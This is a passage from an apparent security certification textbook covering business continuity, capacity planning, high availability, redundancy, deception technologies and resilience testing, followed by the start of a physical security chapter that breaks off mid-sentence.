Relationship to Busines Continuity

Continuity of operations (COOP) and business continuity (BC) are closely related
concepts that both focus on maintaining the ongoing functioning of an organization
during and after a disruption, disaster, or crisis. However, they differ slightly in
terms of their scope and primary objectives.
Continuity of operations primarily addresses the continuity of critical functions and
services within an organization during an emergency or disaster. It often involves
the development and implementation of strategies to maintain or restore essential
operations, such as redundant IT systems, off-site backups, and disaster recovery
solutions. COOP usually encompasses a shorter time frame, focusing on the
immediate response to a disruption and the steps taken to resume critical functions
as quickly as possible.
Business continuity, on the other hand, takes a broader approach, considering not
only the continuity of critical functions but also the overall resilience and recovery
of the entire organization. Business continuity planning includes the assessment
of risks, the development of strategies to mitigate those risks, and the creation
of plans to maintain or restore business operations in the face of various threats.
This may involve addressing supply chain management, employee safety and
communication, legal and regulatory compliance, and reputation management.
Business continuity aims to ensure the long-term viability of an organization
following a disruption, encompassing both immediate response and ongoing
recovery efforts.
Continuity of operations is a component of the broader business continuity
concept. Both are focused on maintaining the ongoing functioning of an
organization during disruptions, but COOP is primarily concerned with the
immediate response and restoration of critical functions, while business continuity
encompasses a more comprehensive approach to ensure the overall resilience and
recovery of the entire organization.

Capacity Planning
Capacity planning is a critical process in which organizations assess their current
and future resource requirements to ensure they can efficiently meet their business
objectives. This process involves evaluating and forecasting the necessary resources
in terms of people, technology, and infrastructure to support anticipated growth,
changes in demand, or other factors that may impact operations. For people,
capacity planning considers the number of employees, their skill sets, and the
potential need for additional training or hiring to meet future demands. This may
involve evaluating workforce productivity, analyzing staffing levels, and identifying
potential skills gaps. In terms of technology, capacity planning encompasses the

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assessment of hardware, software, and network resources required to support

business operations, taking into account factors such as performance, scalability,
and reliability.
Organizations must ensure they have the right technology resources in place
to handle increasing workloads and support new applications or services.
When it comes to infrastructure, capacity planning involves evaluating physical
facilities, such as datacenters and office spaces, to determine whether they can
accommodate projected growth and maintain business continuity. This may include
considerations for power, cooling, and connectivity, as well as planning for potential
expansion or relocation. Organizations use various capacity planning methods,
including trend analysis, simulation modeling, and benchmarking, to help forecast
their needs. Trend analysis examines historical data to identify patterns and trends
in resource usage, demand, and performance. Organizations can forecast future
resource requirements by understanding past patterns. This type of analysis can
help identify potential bottlenecks or other areas that require attention. Simulation
modeling leverages computer-based models to simulate real-world scenarios.
Organizations can assess the impact of changes in demand, different resource
allocation strategies, or system configurations to make informed decisions and
optimize resource allocation to meet anticipated needs. Benchmarking requires a
comparison of an organization’s performance metrics against industry standards or
best practices. Benchmarking provides a comparatively simple way to identify areas
for improvement and establish performance targets. Ultimately, effective capacity
planning allows organizations to optimize resource allocation, reduce costs, and
minimize the risk of downtime or performance issues, ensuring they can continue
to meet their business goals and maintain a competitive edge.

Capacity Planning Risks

People Risks Associated with Capacity Planning
People risks associated with capacity planning may include insufficient staffing
or skills gaps, leading to inadequate resource allocation or ineffective utilization.
Lack of cross-training or succession planning can create dependency on specific
individuals, increasing vulnerability to disruptions. Additionally, resistance to
change, lack of employee engagement, or ineffective communication can hinder
successful security operations.
• Cross-Training—Requires employees to develop skills and knowledge outside
their primary roles to mitigate the risk of relying heavily on specific individuals
or teams. By cross-training employees, organizations can ensure that multiple
individuals can perform critical tasks, reducing the dependence on a single
employee or team. Cross-training promotes flexibility, resilience, and continuity
within the workforce.

• Remote Work Plans—Outline strategies for employees to work effectively

outside the traditional office environment. Remote work plans define
communication channels, technology requirements, and expectations for
remote work arrangements. Established remote work plans allow organizations
to seamlessly transition to remote operations, ensuring business continuity and
minimizing the impact of disruptions.

• Alternative Reporting Structures—Describe backup or temporary reporting

relationships to reduce the risk associated with single points of failure in
management or decision-making. Organizations can maintain operations and
decision-making even if key personnel are unavailable by identifying interim
individuals or teams.

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Effective communication is paramount in reducing risk during disruptive events.

Clear and timely communication channels ensure that employees, stakeholders,
and customers receive accurate information, instructions, and updates. Clear
communication helps manage expectations, reduce confusion, and facilitate
coordinated responses. Communication fosters trust, promotes employee
engagement, and ensures everyone is aligned with the organization’s response
plans. Additionally, communication plays a vital role in disseminating information
about alternative work arrangements, changes in reporting structures, and other
critical updates during a disruptive event.

Technologies and software associated with remote work:

• Virtual Private Network (VPN)—Provides secure access to an organization’s internal
network and resources.
• Remote Desktop Software—Allows remote access to computers or virtual desktops
in the office or the tools used by the help desk and service-center teams to support
employees.
• Cloud-Based Tools—Platforms like Microsoft 365, Google Workspace, Dropbox,
Slack, and many other popular tools enable remote team collaboration, document
sharing, and communication.
• Video Conferencing Software—Applications like Zoom, Microsoft Teams, or Webex
facilitate virtual meetings, conference calls, and screen sharing.
• Instant Messaging and Chat Tools—Applications like Slack, Microsoft Teams, or
Discord enable real-time communication and quick collaboration.
• Virtual Phone Systems—Cloud-based phone systems allow employees to make and
receive calls remotely using their computers or mobile devices.
• Project Management Tools—Platforms like Trello, Asana, or Jira assist in task
management, project tracking, and team coordination.

Changes in Workforce Capacity

Layoffs can introduce a range of cybersecurity and physical risks to an organization,
making it crucial to consider these factors within capacity planning efforts.
Disgruntled employees may pose a significant cybersecurity risk, potentially
engaging in unauthorized access or misuse of sensitive data and systems.
Additionally, the loss of experienced employees may result in insufficient knowledge
transfer to the remaining staff, leading to security gaps and misconfigurations.
Furthermore, improper revocation of access to systems and data for laid-off
employees can leave organizations vulnerable.
In terms of physical risks, departing employees may resort to theft or sabotage
of physical assets or exploit their knowledge of safety protocols and procedures
to compromise the organization’s security. Unauthorized access to premises is
another concern if access credentials are not revoked promptly.
Capacity planning is essential in managing these risks. It enables organizations to
assess resource requirements and make strategic decisions about staffing levels
and resource allocation. By incorporating potential layoffs into capacity planning,
organizations can proactively prepare for the associated risks and minimize their
impact. Implementing robust offboarding procedures, ensuring proper knowledge
transfer, and maintaining a strong security culture among remaining employees are
crucial in mitigating risks. In conclusion, considering the potential risks associated
with layoffs during capacity planning helps organizations maintain a secure
environment and protect their valuable assets.

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Other Risks Associated with Poor Capacity Planning

Poor capacity planning regarding technology and infrastructure can have significant
consequences for an organization’s cybersecurity and physical security. Overloaded
systems resulting from inadequate capacity planning can increase susceptibility to
crashes, failures, and denial of service (DoS) attacks. Additionally, limited resources
may lead to performance degradation, potentially causing organizations to neglect
essential security measures and updates. Failing to invest in the right security
technologies or maintain the necessary infrastructure to protect against emerging
threats leaves organizations more vulnerable to cyberattacks.
Physically, poor capacity planning may result in insufficient investment in security
measures such as access control systems, surveillance cameras, or secure facilities,
exposing organizations to unauthorized access or theft. Overlooking capacity
requirements for power and cooling can cause overheating or power failures in
datacenters, leading to hardware failures, data loss, or downtime. Furthermore,
inadequate planning for future growth can limit an organization’s ability to scale
its operations, potentially affecting its responsiveness to security incidents or
implementation of new security measures.
In contrast, overestimating capacity needs during capacity planning can negatively
impact an organization. Increased costs from unnecessary expenses on technology,
infrastructure, and personnel, strain budgets and divert funds from other critical
areas. Inefficient resource utilization can lead to low utilization rates, which
can negatively affect the return on investment (ROI) and overall operational
effectiveness. Overestimating capacity needs can contribute to higher energy
consumption, driving up costs and increasing the organization’s carbon footprint
and environmental impact.
Deploying more resources than necessary can introduce increased complexity in
managing and maintaining technology and infrastructure. This added complexity
could create challenges for IT teams, making it more difficult to identify and resolve
issues or optimize performance. Additionally, the opportunity cost of investing
in excess capacity can be significant, as resources may be diverted from other
essential projects or initiatives, potentially hindering innovation or market growth.
To avoid these potential problems, organizations must strive for a balanced
approach to capacity planning, considering current and future needs while
remaining flexible and adaptable to changing circumstances. Regularly reviewing
and updating capacity plans, along with employing techniques such as monitoring,
forecasting, and resource scaling, can help organizations optimize resource
allocation and mitigate the risks associated with overestimating capacity needs.

High Availability
High availability (HA) is crucial in IT infrastructure, ensuring systems remain
operational and accessible with minimal downtime. It involves designing and
implementing hardware components, servers, networking, datacenters, and
physical locations for fault tolerance and redundancy. In a high-availability setup,
redundant hardware components, such as power supplies, hard drives, and
network interfaces, reduce the risk of failure by allowing the system to continue
functioning if one component fails. Servers are often deployed in clusters or
paired configurations, which allows automatic failover from a primary server to a
secondary server in case of an issue.
Networking components, including switches, routers, and load balancers, are
also designed with redundancy in mind to maintain seamless connectivity. As the
backbone of high-availability infrastructure, datacenters employ redundant power
sources, cooling systems, and backup generators to ensure continuous operation.

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Additionally, organizations may deploy datacenters in geographically diverse

locations to mitigate the impact of natural disasters or other large-scale events,
further enhancing high availability and disaster recovery capabilities.
The concept of “availability” can be measured over a defined period, such as one
year. Availability can be measured as an uptime value, or percentage. It can also be
calculated as the time or percentage that a system is unavailable (downtime). The
maximum tolerable downtime (MTD) metric expresses the availability requirement
for a particular business function. High availability is usually loosely described as
24x7 (24 hours per day, 7 days per week) or 24x365 (24 hours per day, 365 days per
year). For a critical system, availability is described using the “nines” term, such as
two-nines (99%) up to five- or six-nines (99.9999%). The following chart identifies the
maximum amount of downtimes each of the “nines” represent:

Annual Downtime
Nines Value Availability (hh:mm:ss)
Six 99.9999% 00:00:32
Five 99.999% 00:05:15
Four 99.99% 00:52:34
Three 99.9% 08:45:36
Two 99% 87:36:00
Downtime is calculated from the sum of scheduled service intervals plus unplanned
outages over the period.

System availability can refer to an overall process, but also to availability at the level of
a server or individual component.

Scalability and Elasticity

High availability also means that a system cancope with rapid growth in demand.
These properties are referred to as scalability and elasticity. Scalability is the
capacity to increase resources to meet demand within similar cost ratios. This
means that if service demand doubles, costs do not more than double. There are
two types of scalability:
• To scale out is to add more resources in parallel with existing resources.

• To scale up is to increase the power of existing resources.

Elasticity refers to the system’s ability to handle these changes on demand in

real time. A system with high elasticity will not experience a loss of service or
performance if demand suddenly increases rapidly.

Fault Tolerance and Redundancy

A system that can experience failures and continue to provide the same (or nearly
the same) level of service is said to be fault tolerant. Fault tolerance is often
achieved by provisioning redundancy for critical components and single points of
failure. A redundant component is one that is not essential to the normal function
of a system but that allows the system to recover from the failure of another
component.

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Site Considerations
Enterprise environments often provision resiliency at the site level. An alternate
processing or recovery site is a location that can provide the same (or similar) level
of service. An alternate processing site might always be available and in use, while a
recovery site might take longer to set up or only be used in an emergency.
Operations are designed to failover to the new site until the previous site can be
brought back online. Failover is a technique that ensures a redundant component,
device, application, or site can quickly and efficiently take over the functionality of
an asset that has failed. For example, load balancers provide failover in the event
that one or more servers or sites behind the load balancer are down or are taking
too long to respond. Once the load balancer detects this, it will redirect inbound
traffic to an alternate processing server or site. Thus, redundant servers in the load
balancer pool ensure there is no or minimal interruption of service.
Site resiliency is described as hot, warm, or cold:
• A hot site can failover almost immediately. It generally means the site is within
the organization’s ownership and ready to deploy. For example, a hot site could
consist of a building with operational computer equipment kept updated with a
live data set.

• A warm site could be similar, but with the requirement that the latest data set
needs to be loaded.

• A cold site takes longer to set up. A cold site may be an empty building with
a lease agreement in place to install whatever equipment is required when
necessary.

Providing redundancy on this scale is generally very complicated and expensive.

Another issue is that creating duplicate sites and data also doubles (or more) the
complexity of securing the resources. The same security procedures must apply to
redundant sites, spare systems, and backup data as apply to the main copy.
Geographic dispersion refers to the distribution of recovery sites across different
geographic locations for disaster recovery (DR) purposes. The concept aims to
ensure that recovery sites are located far enough apart to minimize the impact of
regional disasters, such as natural calamities or localized incidents. By strategically
dispersing recovery sites, organizations can ensure the resilience of their recovery
strategies and reduce the risk of a single catastrophic event affecting all business
operations.

Cloud as Disaster Recovery (DR)

Several factors drive organizations to use cloud services for datacenter or site
redundancy. Cost efficiency plays a significant role, as cloud providers offer more
affordable redundancy and backup options due to their economies of scale.

“Economies of scale” is a concept that refers to the cost advantages that businesses can
achieve when they increase production and output. Essentially, the more a company
produces, the cheaper it becomes to deliver those products.

The scalability of cloud services allows businesses to incorporate redundant

capabilities without over-provisioning resources. For example, geographic diversity
provided by cloud providers helps protect against regional outages or disasters,
but incorporating this type of redundancy for a private organization would be
cost-prohibitive and unwarranted.

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Faster deployment of capabilities when using cloud platforms enables organizations

to set up and deploy redundant systems quickly, far more rapidly than could be
done when building infrastructure from scratch.
Simplified management is another critical factor, with cloud providers offering tools
and services that reduce the complexity of managing redundant infrastructure.
Improved security and compliance are also important considerations, as cloud
providers invest heavily in these areas, helping organizations meet data protection
and redundancy regulatory requirements.

Testing Redundancy and High Availability

Testing high availability, load balancing, and failover technologies is critical and
is designed to assess the ability to remain operational during heavy workloads,
component failures, or scheduled maintenance.
• Load testing incorporates specialized software tools to validate a system’s
performance under expected or peak loads and identify bottlenecks or
scalability issues.

• Failover testing focuses on validating failover processes to ensure a seamless

transition between primary and secondary infrastructure.

• Testing monitoring systems validate effective detection and response to

failures and performance issues.

Robust testing practices allow organizations to ensure that high availability, load
balancing, and failover technologies effectively fulfill their purpose to minimize
unexpected outages and maximize performance.

Clustering
Where load balancing distributes traffic between independent processing nodes,
clustering allows multiple redundant processing nodes that share data with one
another to accept connections. This provides redundancy. If one of the nodes in
the cluster stops working, connections can failover to a working node. To clients,
the cluster appears to be a single server. A load balancer distributes client requests
across available server nodes in a farm or pool and is generally associated with
managing web traffic whereas clusters are used to provide redundancy and high-
availability for systems such as databases, file servers and others.

Virtual IP
For example, an organization might want to provision two load balancer appliances
so that if one fails, the other can still handle client connections. Unlike load
balancing with a single appliance, the public IP used to access the service is shared
between the two instances in the cluster. This arrangement is referred to as a
virtual IP or shared or floating address. The instances are configured with a private
connection, on which each is identified by its “real” IP address. This connection runs
a redundancy protocol, such as Common Address Redundancy Protocol (CARP),
enabling the active node to “own” the virtual IP and respond to connections. The
redundancy protocol also implements a heartbeat mechanism to allow failover to
the passive node if the active one should suffer a fault.

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Topology of clustered load balancing architecture. (Images © 123RF.com.)

Active/Passive (A/P) and Active/Active (A/A) Clustering

In the previous example, if one node is active, the other is passive. This is
referred to as active/passive clustering. The biggest advantage of active/passive
configurations is that performance is not adversely affected during failover.
However, there are higher hardware and operating system costs because of the
unused capacity.
An active/active cluster means that both nodes are processing connections
concurrently. This allows the administrator to use the maximum capacity from
the available hardware while all nodes are functional. In the event of a failover,
the workload of the failed node is immediately and transparently shifted onto the
remaining node. At this time, the workload on the remaining nodes is higher and
performance is degraded.

In a standard active/passive configuration, each active node must be matched by a

passive node. There are N+1 and N+M configurations that provision fewer passive
nodes than active nodes, to reduce costs.

Application Clustering
Clustering is also very commonly used to provision fault-tolerant application
services. If an application server suffers a fault in the middle of a session, the
session state data will be lost. Application clustering allows servers in the cluster to
communicate session information to one another. For example, if a user logs in on
one instance, the next session can start on another instance, and the new server
can access the cookies or other information used to establish the login.

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Power Redundancy
All types of computer systems require a stable power supply to operate. Electrical
events, such as voltage spikes or surges, can crash computers and network
appliances, while loss of power from under-voltage events or power failures will
cause equipment to fail. Power management means deploying systems to ensure
that equipment is protected against these events and that network operations can
either continue uninterrupted or be recovered quickly.

Dual Power Supplies

An enterprise-class server or appliance enclosure is likely to feature two or more
power supply units (PSUs) for redundancy. A hot plug PSU can be replaced (in the
event of failure) without powering down the system.

Managed Power Distribution Units (PDUs)

The power circuits supplying grid power to a rack, network closet, or server room
must be enough to meet the load capacity of all the installed equipment, plus
room for growth. Consequently, circuits to a server room will typically be of higher
capacity than domestic or office circuits (30 or 60 amps as opposed to 13 amps,
for instance). These circuits may be run through a power distribution unit (PDU).
These come with circuitry to “clean” the power signal; provide protection against
spikes, surges, and under-voltage events; and integrate with uninterruptible power
supplies (UPSs). Managed PDUs support remote power monitoring functions, such
as reporting load and status, switching power to a socket on and off, or switching
sockets on in a particular sequence.

Battery Backups and Uninterruptible Power Supplies (UPSs)

If there is a loss of power, system operation can be sustained for a few minutes
or hours (depending on load) using a battery backup. A battery backup can be
provisioned at the component level for disk drives and RAID arrays. The battery
protects any read or write operations cached at the time of power loss. At the
system level, an uninterruptible power supply (UPS) will provide a temporary
power source in a complete power loss. This may range from a few minutes for a
desktop-rated model to hours for an enterprise system. In its simplest form, a UPS
comprises a bank of batteries and their charging circuit plus an inverter to generate
AC voltage from the DC voltage supplied by the batteries.
The UPS allows sufficient time to failover to an alternative power source, such as
a standby generator. If there is no secondary power source, a UPS will allow the
administrator to at least shut down the server or appliance properly—users can
save files, and the OS can complete the proper shutdown routines.

Generators
A backup power generator can provide power to the whole building, often for
several days. Most generators use diesel, propane, or natural gas as a fuel source.
With diesel and propane, the main drawback is safe storage (diesel also has a shelf
life of between 18 months and 2 years); with natural gas, the issue is a reliable
gas supply in the event of a natural disaster. Datacenters are also investing in
renewable power sources, such as solar, wind, geothermal, hydrogen fuel cells, and
hydro. The ability to use renewable power is a strong factor in determining the best
site for new datacenters. Large-scale battery solutions, such as Tesla’s Powerpack
(tesla.com/powerpack), may provide an alternative to backup power generators.
There are also emerging technologies that use all the battery resources of a
datacenter as a microgrid for power storage (https://www.scientificamerican.com/
article/how-big-batteries-at-data-centers-could-replace-power-plants/).

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A UPS is always required to protect against any interruption to computer services, as a

backup generator cannot be brought online fast enough to respond to a power failure.
Generator power is typically introduced via transfer switches that can operate either
manually or automatically. The UPS must be sized appropriately to handle power
requirements during the transfer process.

Diversity and Defense in Depth

Platform diversity is a concept in cybersecurity that refers to using multiple
technologies, operating systems, and hardware or software components within an
organization’s infrastructure. By incorporating a variety of platforms, businesses
can reduce the risk of a single vulnerability or attack affecting their entire
infrastructure. This approach is important for cybersecurity operations, as it helps
create a more resilient environment that can better withstand cyber threats.
When an organization relies on a single technology or platform, an attacker who
discovers a vulnerability can potentially compromise the entire system. However,
with platform diversity, even if one component is compromised, other parts of
the system remain secure, limiting the potential damage. Furthermore, a diverse
technology landscape can make it more challenging for threat actors to navigate,
as they must be familiar with multiple platforms and exploit techniques. In this
way, platform diversity deters potential attackers and contributes to the overall
robustness of an organization’s cybersecurity posture.

Defense in Depth
Defense in depth is a comprehensive cybersecurity strategy that emphasizes the
implementation of multiple layers of protection to safeguard an organization’s
information and infrastructure. This approach is based on the principle that no
single security measure can completely protect against all threats. By deploying
a variety of defenses at different levels, organizations can create a more resilient
security posture that can withstand a wide range of attacks. For example, a defense
in depth strategy might include perimeter security measures such as firewalls
and intrusion detection systems to protect against external threats. Organizations
can implement segmentation, secure access controls, and traffic monitoring at
the network level to prevent unauthorized access and contain potential breaches.
Endpoint security solutions, such as antivirus software and device hardening, help
protect individual devices, while regular patch management ensures software
vulnerabilities are addressed promptly.
Additionally, implementing strong user authentication methods, such as multifactor
authentication, can further secure access to sensitive data and systems. Finally,
employee security awareness training and incident response planning are essential
components of a defense in depth strategy, helping to minimize human error and
ensure a rapid response to security incidents.

Vendor Diversity
Vendor diversity is essential for several reasons, offering benefits not only in terms
of cybersecurity but also in business resilience, innovation, and competition:
• Cybersecurity—Relying on a single vendor for all software and hardware
solutions can create a single point of failure. The entire infrastructure may be
at risk if a vulnerability is discovered in that vendor’s products. Vendor diversity
introduces multiple technologies, reducing the impact of a single vulnerability
and making it more difficult for attackers to exploit the entire system.

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• Business Resilience—Vendor diversity mitigates the risk associated with vendor

lock-in and ensures that an organization’s operations are not solely reliant
on one vendor’s products or services. If a vendor stops doing business, goes
bankrupt, or experiences a significant disruption, having alternatives helps
maintain business continuity.

• Innovation—Diverse vendors bring different perspectives, ideas, and

technologies. Leveraging solutions from multiple vendors can lead to a more
innovative and agile IT infrastructure, better positioning an organization to adapt
to emerging trends and technologies.

• Competition—Vendor diversity promotes healthy competition in the market,

which can lead to better pricing, improved product features, and higher-quality
customer support. By engaging multiple vendors, organizations can encourage
continuous improvement and obtain better value for their investments.

• Customization and Flexibility—Different vendors offer unique solutions

that cater to specific needs, and having a diverse vendor ecosystem allows
organizations to choose the best fit for their requirements. This flexibility can
result in a more tailored and effective IT infrastructure.

• Risk Management—Vendor diversity helps spread the risk associated with

potential product or service failures, security breaches, and other issues.
Organizations can better manage and mitigate risks by not trusting a single
solution provider or supplier.

• Compliance—In some industries, regulations or industry standards may require

organizations to maintain vendor diversity to ensure compliance and reduce the
risk of supply chain disruptions or security breaches.

Other types of controls contribute to defense in depth, such as physical security controls
that block physical access to computer equipment and policies designed to define
appropriate use and consequences for noncompliance.

Multi-Cloud Strategies
A multi-cloud strategy offers several benefits for both cybersecurity operations and
business needs by leveraging the strengths of multiple cloud service providers. This
approach enhances cybersecurity by diversifying the risk associated with a single
point of failure, as vulnerabilities or breaches in one cloud provider’s environment
are less likely to compromise the entire infrastructure. Additionally, a multi-cloud
strategy can improve security posture by implementing unique security features
and services offered by different cloud providers. From a business perspective, a
multi-cloud approach promotes vendor independence, reducing the risk of vendor
lock-in and ensuring organizations can adapt to changing market conditions
or technology trends. This strategy fosters healthy competition among cloud
providers, often leading to more favorable pricing and better service offerings.
Furthermore, a multi-cloud strategy enables organizations to optimize their IT
infrastructure by selecting the most suitable cloud services for specific workloads or
applications, enhancing performance and cost efficiency.
In a practical example of a multi-cloud strategy, a company operating a large
e-commerce platform can distribute workloads across multiple cloud providers
to address high availability, data security, performance optimization, and
cost efficiency. By hosting the primary application infrastructure on one
cloud provider and using another for backup and disaster recovery, the
company ensures continuous operation even during outages.

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Storing sensitive customer data with a cloud provider that offers advanced security
features and compliance certifications meets regulatory requirements. To address
latency and performance concerns, the company can leverage a cloud provider with
a global network of edge locations for content delivery and caching services. Finally,
cost-effective storage and processing services can be used by another provider for
big data analytics and reporting. This multi-cloud approach enables the e-commerce
company to build a more resilient, secure, and efficient IT infrastructure tailored to
their specific needs.

Deception Technologies
Deception and disruption technologies are cybersecurity resilience tools and
techniques to increase the cost of attack planning for the threat actor. Honeypots,
Honeynets, Honeyfiles, and Honeytokens are all cybersecurity tools used to detect
and defend against attacks. Honeypots are decoy systems that mimic real systems
and applications. They are designed to allow security teams to monitor attacker
activity and gather information about their tactics and tools. Honeynets are a
network of interconnected honeypots that simulate an entire network, providing a
more extensive and realistic environment for attackers to engage with. Honeyfiles
are fake files that appear to contain sensitive information, used to detect attempts
to access and steal data. Honeytokens are false credentials, login credentials, or
other data types used to distract attackers, trigger alerts, and provide insight into
attacker activity.
By deploying these tools, organizations can detect and monitor attacks, gather
intelligence about attackers and their methods, and proactively defend against
future attacks. These tools can also provide an additional layer of defense by
diverting attackers’ attention away from real systems and applications, reducing
the risk of successful attacks.

Disruption Strategies
Another type of active defense uses disruption strategies. These adopt some of
the obfuscation strategies used by malicious actors. The aim is to raise the attack
cost and tie up the adversary’s resources. Some examples of disruption strategies
include the following:
• Using bogus DNS entries to list multiple hosts that do not exist.

• Configuring a web server with multiple decoy directories or dynamically

generated pages to slow down scanning.

• Using port triggering or spoofing to return fake telemetry data when a host
detects port scanning activity. This will result in multiple ports being falsely
reported as open and slow down the scan. Telemetry can refer to any type of
measurement or data returned by remote scanning. Similar fake telemetry could
be used to report IP addresses as up when they are not, for instance.

• Using a DNS sinkhole to route suspect traffic to a different network, such as a

honeynet, where it can be analyzed.

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Testing Resiliency
Method of Testing
Testing system resilience and incident response effectiveness are crucial for
organizations to recover from disruptions and maintain business continuity.
By conducting various tests, organizations can identify potential vulnerabilities,
evaluate the efficiency of their recovery strategies, and improve their overall
preparedness for real-life incidents.
• Tabletop Exercises involve teams discussing and working through hypothetical
scenarios to assess their response plans and decision-making processes. These
exercises help identify knowledge, communication, and coordination gaps,
ultimately strengthening the organization’s incident response capabilities. For
example, a tabletop exercise might simulate a ransomware attack to test how
well the organization’s IT and management teams collaborate to mitigate the
threat and restore operations.

• Failover Tests involve intentionally causing the failure of a primary system or

component to evaluate the automatic transfer of operations to a secondary,
redundant system. These tests ensure backup systems can seamlessly take over
during an actual incident, minimizing downtime and data loss. For example, a
failover test could involve simulating the failure of a primary database server to
verify that a standby server can successfully assume its role and maintain service
continuity.

• Simulations are controlled experiments replicating real-world scenarios,

allowing organizations to assess their incident response processes and system
resilience under realistic conditions. These tests can reveal potential bottlenecks,
inefficiencies, or vulnerabilities that might not be apparent in less complex
tests. For instance, a simulation might involve a cyberattack targeting the
organization’s network infrastructure to evaluate the effectiveness of security
measures and the ability to detect, contain, and remediate the threat.

• Parallel Processing Tests involve running primary and backup systems

simultaneously to validate the functionality and performance of backup systems
without disrupting normal operations. These tests help organizations ensure
their backup systems can handle the same workload as primary systems during
an incident. For example, an organization might run parallel processing tests
to verify that a backup datacenter can manage the same traffic and processing
demand as the primary datacenter in an outage.

Failure to perform tests such as tabletop exercises, failover tests, simulations,

and parallel processing can expose organizations to significant risks. With these
tests, organizations can recognize potential vulnerabilities and weaknesses in
their incident response plans and system resilience designs and use the results of
tests to improve existing plans. In a real-life disruption or cyberattack, untested
systems and response procedures may fail to perform as expected, leading to
extended downtime, data loss, and reputational damage. Moreover, unprepared
organizations may face increased costs related to incident recovery and mitigation
and potential regulatory penalties for failing to meet industry standards and
compliance requirements. Ultimately, failure to implement these tests can leave
organizations inadequately prepared for crises, undermining their ability to
maintain business continuity and protect valuable assets.

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Documentation
Business continuity documentation practices cover planning, implementation,
and evaluation. Documentation supports the testing process. Documentation
includes test plans outlining the objectives, scope, and methods of tests and the
roles and responsibilities of individuals involved. Test scripts (or scenarios) provide
step-by-step instructions for performing the tests, and test results identify strengths
and weaknesses of the business continuity plan and the technical capabilities
supporting it. Documentation is the foundation for clear communication and
reporting of activities. It provides a common reference point for those involved
in business continuity testing and facilitates effective communication with
management, executive teams, and other relevant stakeholders. Third-party
assessments and certifications offer an objective and independent evaluation of
an organization’s testing practices. Third-party assessments and certifications offer
objective evaluation, compliance verification, validation of testing effectiveness,
industry recognition, and recommendations for continuous improvement.
Examples of third-party evaluations include assessments performed in alignment
with ISO 22301, PCI DSS, and SOC 2.

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Review Activity:
Redundancy Strategies
7

Answer the following questions:

1. How does MTD relate to availability?

2. How does elasticity differ from scalability?

2.

3. Which two components are required to ensure power redundancy for a

3.

power loss period extending over 24 hours?

4. How does RAID support fault tolerance?

4.

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Topic 7C
Physical Security
5

EXAM OBJECTIVES COVERED

1.2 Summarize fundamental security concepts.

Physical security concepts are a critical component of cybersecurity. Physical

security measures, such as access control, video surveillance, and environmental
controls, help protect an organization’s physical assets, including servers,
datacenters, and other critical infrastructure, from unauthorized access, theft,
or damage. Effective physical security practices help prevent unauthorized
physical access to sensitive data or systems and reduce the risk of insider threats.
Organizations must integrate physical security practices into their cybersecurity
strategies to provide a layered approach to security and protect against cyber
threats that exploit physical vulnerabilities.

Physical Security Controls

Physical security is critical to cybersecurity operations because it provides the
first line of defense against physical access to an organization’s critical assets.
Cybersecurity is about securing digital assets and protecting the physical
components that house those assets, such as servers, datacenters, and other
critical infrastructure.
Practical examples of physical security measures in cybersecurity operations
include access control mechanisms, such as biometric scanners, smart cards,
key fobs, and surveillance systems, including video cameras, motion sensors,
and alarms. Additionally, backup power, redundant cooling, and fire suppression
systems are critical components of physical security in datacenters.
Physical access controls depend on the same access control fundamentals as
technical system security:
• Authentication—Creates access lists and identifies mechanisms to allow
approved persons through the barriers.

• Authorization—Creates barriers around a resource to control access through

defined entry and exit points.

• Accounting—Records when entry/exit points are used and detects security

breaches.

Physical security is often implemented by incorporating zones. Each zone is

separated by its own barrier(s). One or more security mechanisms control entry
and exit points through the barriers. Progression through each zone should be
increasingly restrictive.

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Site Layout, Fencing, and Lighting

Physical Security Through Environmental Design
Physical security through environmental design is an approach to security that
uses the built environment to enhance security and prevent crime. This approach
designs physical spaces, buildings, and landscapes to promote nonobvious security
features. Physical security via environmental design can be used in various settings,
such as residential neighborhoods, commercial districts, schools, and public spaces.
By incorporating these design principles, organizations can enhance security,
deter criminal activity, and promote a sense of safety and well-being among users.
Additionally, physical security via environmental design can be a cost-effective way
to improve security because it easily incorporates design elements into new or
existing structures at a low cost.

Barricades and Entry/Exit Points

A barricade is something that prevents access. As with any security system, no
barricade is completely effective; a wall may be climbed, or a lock may be picked.
The purpose of barricades is to channel people through defined entry and exit
points. Each entry point should have an authentication mechanism so that only
authorized persons are allowed through. Effective surveillance mechanisms ensure
the detection of attempts to penetrate a barricade by other means.

Physical sites at risk of a terrorist attack will use barricades such as bollards and
security posts to prevent vehicles from speeding toward a building.

Fencing
The exterior of a building may be protected by fencing. Security fencing needs
to be transparent (so guards can see any attempt to penetrate it), robust (so that
it is difficult to cut), and secure against climbing (which is generally achieved by
making it tall and possibly by using razor wire). Fencing is generally effective, but
the drawback is that it gives a building an intimidating appearance. Buildings that
are used by companies to welcome customers or the public may use more discreet
security methods.

Lighting
Security lighting is enormously important in the perception that a building is
safe and secure at night. Well-designed lighting helps to make people feel safe,
especially in public areas or enclosed spaces, such as parking garages. Security
lighting also acts as a deterrent by making intrusion more difficult and surveillance
(whether by camera or guard) easier. The lighting design needs to account for
overall light levels, the lighting of particular surfaces or areas (allowing cameras to
perform facial recognition, for instance), and avoid areas of shadow and glare.

Bollards
Bollards are generally short vertical posts made of steel, concrete, or other
similarly durable materials and installed at intervals around a perimeter or
entrance. Sometimes bollards are nonobvious and appear as sculptures or as
building design elements. They can be fixed or retractable, and some models can be
raised or lowered remotely. Bollards can serve several purposes, such as protecting
pedestrians from vehicular traffic, preventing unauthorized vehicle access,
and providing perimeter security for critical infrastructure and facilities.

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They are often used to secure government buildings, airports, stadiums, store
entrances, and other public spaces. By preventing vehicles from entering restricted
areas, bollards can help mitigate the risks of vehicular attacks and accidents.

Bollards used to protect the entrance of Reading Train Station in Britain. (Image from user
rogerrutter © 123RF.com.)

Existing Structures
There may be a few options to adjust the site layout in existing premises.
When faced with cost constraints and the need to reuse existing infrastructure,
incorporating the following principles can be helpful:
• Locate secure zones, such as equipment rooms, as deep within the building as
possible, avoiding external walls, doors, and windows.

• Use a demilitarized zone design for the physical space. Position public access
areas so that guests do not pass near secure zones. Security mechanisms in
public areas should be highly visible to increase deterrence.

• Use signage and warnings to enforce the idea that security is tightly controlled.
Beyond basic “no trespassing” signs, some homes and offices also display signs
from the security companies whose services they are using. These may convince
intruders to stay away.

• Conversely, entry points to secure zones should be discreet. Do not allow an

intruder the opportunity to inspect security mechanisms protecting such zones
(or even to know where they are). Use industrial camouflage to make buildings
and gateways protecting high-value assets unobtrusive or create high-visibility
